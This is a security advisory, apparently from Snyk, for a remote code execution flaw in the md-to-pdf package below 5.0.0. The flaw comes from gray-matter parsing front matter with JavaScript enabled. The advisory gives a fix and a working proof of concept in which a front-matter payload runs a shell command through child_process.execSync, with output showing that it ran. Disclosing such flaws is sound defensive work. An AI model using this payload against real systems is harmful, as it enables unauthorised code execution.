Remote Code Execution (RCE) Affecting md-to-pdf Open this link in a new tab package, versions <5.0.0


0.0
critical
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    SNYK-JS-MDTOPDF-1657880

  • published

    8 Dec 2021

  • disclosed

    23 Sep 2021

  • credit

    Oscar Arnflo

How to fix?

Upgrade md-to-pdf to version 5.0.0 or higher.

Overview

md-to-pdf is a CLI tool for converting Markdown files to PDF.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.

PoC:

//Before running poc.js:

$ cat /tmp/RCE.txt
cat: /tmp/RCE.txt: No such file or directory

//After running poc.js
$ node poc.js

$ cat /tmp/RCE.txt
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

poc.js:

const { mdToPdf } = require('md-to-pdf');

var payload = '---jsn((require("child_process")).execSync("id > /tmp/RCE.txt"))n---RCE';

(async () => { await mdToPdf({ content: payload }, { dest: './output.pdf' }); })();